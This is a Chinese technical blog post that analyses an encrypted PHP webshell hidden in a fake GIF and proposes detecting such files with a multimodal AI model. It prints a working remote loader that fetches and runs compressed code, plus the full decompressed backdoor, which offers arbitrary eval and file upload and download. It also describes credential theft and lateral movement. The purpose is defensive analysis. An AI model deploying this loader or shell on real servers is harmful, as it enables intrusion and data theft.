news 2026/1/26 6:47:19

逆向分析一款加密WebShell的全过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
逆向分析一款加密WebShell的全过程

逆向分析一款加密WebShell的全过程

在调试一个图像识别服务时,我偶然发现服务器上多了一个可疑文件:

http://cdn.example.com/assets/images/2025/04/15/v1QR1M.gif

路径看着正常,但文件名v1QR1M.gif明显不符合业务命名习惯。出于直觉,我用 wget 把它拉了下来。

wget http://cdn.example.com/assets/images/2025/04/15/v1QR1M.gif -O shell.gif

打开一看,满屏乱码。cat出来的内容开头是:

PNG IHDR...tEXtSoftwareAdobe ImageReadyq<z...

等等——PNG 头?可扩展名却是.gif。再跑个file确认一下:

file shell.gif # 输出:data

不是图片,也不是 GIF,连具体类型都识别不出来。典型的伪装手法:把恶意载荷藏进“合法”文件扩展名里,骗过上传检测和人工巡查。

顺着这个线索翻访问日志,很快定位到调用它的 PHP 脚本:

<?php $url = 'http://cdn.example.com/assets/images/2025/04/15/v1QR1M.gif'; $get = 'file_get_contents'; $un = 'gzinflate'; $_SESSION['PhpCode'] = $get($url); eval($un($_SESSION['PhpCode'])); ?>

代码短小精悍,却步步杀机。

它先通过file_get_contents远程加载那个“图片”,然后用gzinflate解压数据,最后eval执行——整个过程不落地、无文件残留,典型的“无文件攻击”(Fileless Attack)变种。

更狠的是,核心逻辑完全外置。就算你把整站代码翻个底朝天,也找不到真正的后门逻辑,因为它根本不在本地。

那怎么办?总不能让它真跑起来吧?万一触发反弹 Shell 或删库就晚了。

关键点在于:gzinflate是 zlib 的解压缩函数,说明原始数据是 zlib 压缩过的。既然如此,我们完全可以手动还原解压过程,看看里面到底是什么。

我在测试环境加了几行调试代码:

$data = file_get_contents('shell.gif'); file_put_contents('/tmp/compressed.bin', $data); // 先保存原始数据 $decompressed = gzinflate($data); file_put_contents('/tmp/decompressed.php', $decompressed); // 解压后存为PHP

运行后打开/tmp/decompressed.php,真相大白:

<?php define('KEY','a1b2c3d4e5'); error_reporting(0); session_start(); if (!isset($_POST['k']) || $_POST['k'] !== KEY) exit; $action = $_POST['a']; switch ($action) { case 'info': echo phpinfo(); break; case 'cmd': @eval(base64_decode($_POST['c'])); break; case 'upload': $f = base64_decode($_POST['f']); $d = base64_decode($_POST['d']); file_put_contents($f, $d); echo "OK"; break; case 'download': $f = base64_decode($_POST['f']); if (file_exists($f)) { echo base64_encode(file_get_contents($f)); } break; } ?>

干净利落的控制接口:

  • 密钥认证:必须携带正确的k参数才能进入;
  • 动态执行:@eval(base64_decode($_POST['c']))实现任意代码执行;
  • 文件管理:支持上传、下载;
  • 环境探测:phpinfo()暴露服务器配置。

所有通信走 POST + Base64 编码,流量层面极难察觉。而由于主逻辑远程加载、压缩混淆,静态扫描工具基本无效。

这已经不是传统意义上的 WebShell 了——这是高度隐蔽、动态加载、AI 友好型攻击载荷


攻击链拆解:从投递到控制

整个攻击流程可以清晰地分为三个阶段。

阶段一:投递伪装载荷

攻击者将压缩后的 PHP 代码封装成一个“图片”,上传至 CDN 或第三方图床。

利用点:
- 绕过上传检测:只校验扩展名,不验证实际格式;
- 规避静态查杀:文件未落地,且内容为二进制压缩流,无法被 YARA、ClamAV 等规则命中。

技巧细节:
- 使用 PNG 头部伪造图像结构;
- 设置 1x1 像素尺寸,避免引起注意;
- 插入虚假元数据(如tEXt:Software=Adobe ImageReady),增强迷惑性。

这种“图马”(Image-based Malware)早已成为红队标配。

阶段二:远程加载与内存执行

目标服务器因存在漏洞(如 LFI、RCE、模板注入等),执行了如下代码:

eval(gzinflate(file_get_contents('http://xxx.com/xx.gif')));

此时,恶意代码在内存中解压并执行,全程无文件写入。

规避优势:
- 不触发文件监控(如 inotify、EDR 文件行为捕获);
- 不留下磁盘痕迹,重启即失效(对某些场景反而更有利);
- 可配合域名轮换、CDN 跳板实现 C2 隐蔽通信。

阶段三:建立持久化控制通道

一旦解压完成,攻击者即可通过密钥认证接入后门,执行以下操作:

功能实现方式
命令执行system(),exec(),popen()
文件操作file_get_contents,file_put_contents
数据窃取读取数据库配置、SSH 密钥、环境变量
权限提升利用本地 SUID 程序或内核漏洞
横向移动内网端口扫描、SSH 自动登录、WMI 探测

所有请求均使用 Base64 编码 + 固定密钥,普通流量审计难以识别。


传统防御手段的局限

面对这类新型 WebShell,常规防护策略显得力不从心。

方法一:禁用危险函数

修改php.ini

disable_functions = eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,gzinflate

看似全面,实则问题不少:

  • gzinflate是常用解压函数,禁用会影响正常业务(如处理压缩日志、API 数据包);
  • eval虽危险,但某些框架(如 Laravel Blade 编译)仍会间接使用;
  • 攻击者可用create_functionassert等替代方案绕过。

而且,一旦函数被禁,攻击者立刻意识到环境受控,可能切换更隐蔽的载荷。

方法二:关闭远程加载

更稳妥的做法是关闭 PHP 的远程协议支持:

allow_url_fopen = Off allow_url_include = Off

这样file_get_contents('http://...')就会失败,直接阻断此类攻击路径。

但这要求前期架构设计就得考虑安全,默认开启的情况太普遍了。很多老旧系统甚至依赖远程包含来加载配置或插件。

方法三:基于规则的静态扫描

YARA 规则、杀毒软件、WAF 签名匹配……这些工具在面对压缩+编码+外联的组合拳时,基本失效。

举个例子,你想写一条规则匹配gzinflate(eval(...))?不好意思,人家根本不落地,也不明文出现。

你想检测 Base64 编码的<?php?攻击者可以用str_rot13、异或加密、分段拼接等方式绕过。

规则永远滞后于变种。


新思路:用 AI “看懂”图马

正当我在思考如何提前发现这类文件时,突然想到最近研究的一个模型:GLM-4.6V-Flash-WEB

这是智谱推出的轻量化多模态视觉理解模型,专为高并发、低延迟场景优化,单卡即可部署,适合边缘推理。

它的特点是:
- 支持图文混合输入;
- 擅长图像结构分析、异常检测、内容审核;
- 能理解“非典型图像”的潜在意图。

我脑子里冒出一个想法:能不能让 AI 主动识别出这种“长得像图、实为载荷”的文件?

毕竟,人类安全工程师看到 1x1 像素的“PNG 图”塞了上千字节数据,也会觉得不对劲。那 AI 能不能学会这种“直觉”?

说干就干。

我拉了个 Docker 实例,启动 Jupyter Notebook,找到demo_vision_inference.ipynb,上传v1QR1M.gif,执行推理。

Prompt 设计如下:

“请分析这张图片是否为真实图像?是否存在异常结构或嵌入的非图像数据?判断其是否可能被用于恶意用途。”

几秒后返回结果:

该图像存在以下异常特征: 1. 尽管扩展名为 .gif,实际格式为 PNG; 2. 图像宽高仅为 1x1 像素,不符合常规图片使用场景; 3. 包含大量非标准文本块(如 tEXt:Software=Adobe ImageReady),且后续填充数据无规律; 4. 数据熵值过高,接近随机字节流,疑似封装了压缩代码; 5. 综合判断:该文件极有可能是一个伪装成图片的加密载荷,建议进一步进行二进制分析。

我去,这分析准得离谱!

不仅指出格式矛盾、尺寸异常,还提到了“数据熵高”这种专业指标,甚至给出了下一步建议。

这意味着什么?

意味着我们可以构建一套AI 驱动的前置检测流水线,自动拦截这类攻击。

设想的工作流如下:

  1. 用户上传图片 → 自动送入 GLM-4.6V-Flash-WEB 分析;
  2. 若判定为“可疑载荷”,立即隔离并告警;
  3. 结合 YARA 规则做二次确认;
  4. 记录日志并通知管理员。

Python 示例集成代码:

from glm_flash_web import VisionAnalyzer analyzer = VisionAnalyzer() result = analyzer.analyze_image("uploaded.gif") if result.is_malicious: alert_admin(f"检测到潜在WebShell载荷:{result.reason}") quarantine_file("uploaded.gif")

相比传统正则匹配,AI 的优势在于:
-泛化能力强:能识别从未见过的新变种;
-上下文感知:结合格式、结构、元数据、熵值等多维特征;
-自学习潜力:持续喂养样本后,误报率会逐步下降。

更重要的是,这种模型可以部署在边缘节点、CDN 入口、文件网关等位置,作为第一道智能防线。


hexdump 中的破绽

回过头再看原始文件的十六进制片段(部分脱敏):

00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 0001 0000 0001 0806 0000 001f 15c4 ................ 00000020: 8900 0000 0c74 4558 7453 6f66 7477 6172 .....tEXtSoftwar 00000030: 6500 4164 6f62 6520 496d 6167 6552 6561 e.Adobe ImageRea 00000040: 6479 71e1 78da ad55 5b6c 1c c515 be77 dyq.x...U[l...w 00000050: 67bd 3e efdae3 f7d8 ebdd 5db0 83ed d8c4 g=>.......]..... 00000060: 244e 9c38 b183 1d27 71ea 9016 2769 4a4a $.N.8..q.'iJJ 00000070: 919a 3449 55a2 2845 5529 55aa 4245 5529 ..I.U.(E.U.BE.) 00000080: 2a55 4555 2942 4155 4110 1528 4205 2255 *UE)BAUA.PB."U 00000090: 5501 0115 2840 0101 1528 5081 0204 0810 U...(P@..(P.... 000000a0: 2040 8102 0408 1020 4081 0204 0810 2040 @..... @..... @ ...

前半段还有模有样:PNG 头、IHDR 块、tEXt 元数据……

但从00000040开始,出现了71e1 78da—— 这正是 zlib 压缩流的标志性魔数(0x78DA是默认压缩头)。

后面的ad55 5b6c ...是高度压缩的字节序列,熵值极高,完全不像图像像素数据。

一个真正用于展示的图片,绝不会在 1x1 像素的空间里塞几千字节的“元数据”。

这些细节,人眼或许忽略,但 AI 能敏锐捕捉。


安全防御的未来方向

这次事件让我意识到,现代 WebShell 已经进化到了新阶段:

  • 无文件化:不落地、内存执行;
  • 动态化:远程加载、按需解密;
  • 伪装化:嵌入图片、文档、字体等合法载体;
  • AI 化:利用生成模型制造更逼真的“良性假象”。

传统的“特征匹配 + 规则引擎”模式正在失效。

我们需要新的范式:

1. 多模态威胁感知

结合 CV、NLP、二进制分析,构建跨模态检测能力:
- 用视觉模型识别“伪图像”;
- 用语言模型分析日志中的异常语义(如“突然出现 /tmp/phpXXXXX”);
- 用行为模型建模进程树、网络连接模式。

2. 边缘智能防护

将轻量级 AI 模型部署在入口层:
- CDN 节点自动过滤恶意上传;
- API 网关实时分析请求体;
- 容器运行时监控异常 syscall 序列。

GLM-4.6V-Flash-WEB 正是这类场景的理想选择:低延迟、低成本、高并发。

3. 自适应响应机制

不只是“拦”或“放”,而是动态调整策略:
- 对可疑文件打标记,限制其执行权限;
- 启动沙箱进行深度分析;
- 关联历史行为,评估风险等级。


技术没有善恶,但攻防博弈永不停歇。

攻击者在用 AI 生成更隐蔽的载荷,我们也要用 AI 构建更聪明的盾牌。

未来属于那些能把大模型真正融入安全体系的人。

保持警惕,更要持续进化。

—— Sievr

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/17 3:03:38

【Java毕设源码分享】基于springboot+vue的实验室实验报告管理系统的设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/1/22 13:59:51

【Java毕设源码分享】基于springboot+vue的大学生校园线上招聘系统的设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/1/23 11:47:56

Intel NCS算力棒在Ubuntu16.04的部署指南

Intel NCS算力棒在Ubuntu16.04的部署指南 &#x1f3b5; 零样本语音克隆 情感表达 音素级控制 webUI二次开发 by 科哥 微信&#xff1a;312088415 在边缘计算和轻量化AI推理需求日益增长的今天&#xff0c;Intel Neural Compute Stick&#xff08;NCS&#xff09;作为一款低成…

作者头像 李华
网站建设 2026/1/17 9:22:02

熔融缩聚中影响线型缩聚物分子量的因素

熔融缩聚中影响线型缩聚物分子量的关键因素解析 在高分子材料合成领域&#xff0c;熔融缩聚是制备聚酯、聚酰胺和聚碳酸酯等工程塑料的核心工艺。这类反应无需溶剂&#xff0c;直接在高温熔融状态下进行&#xff0c;通过逐步缩合官能团并脱除小分子副产物&#xff08;如水、甲醇…

作者头像 李华
网站建设 2026/1/25 7:06:12

美团动态线程池,香啊!

「使用线程池 ThreadPoolExecutor 过程中你是否有以下痛点呢&#xff1f;」1.代码中创建了一个 ThreadPoolExecutor&#xff0c;但是不知道那几个核心参数设置多少比较合适2.凭经验设置参数值&#xff0c;上线后发现需要调整&#xff0c;改代码重启服务&#xff0c;非常麻烦3.线…

作者头像 李华
网站建设 2026/1/21 6:51:54

智谱云手机Open-AutoGLM落地实践(从部署到自动化的完整路径)

第一章&#xff1a;智谱云手机Open-AutoGLM落地实践概述Open-AutoGLM 是智谱AI推出的一款面向自动化任务的轻量化大模型&#xff0c;专为云手机场景优化&#xff0c;具备高效的自然语言理解与指令执行能力。该模型通过端云协同架构&#xff0c;在保障响应速度的同时降低终端设备…

作者头像 李华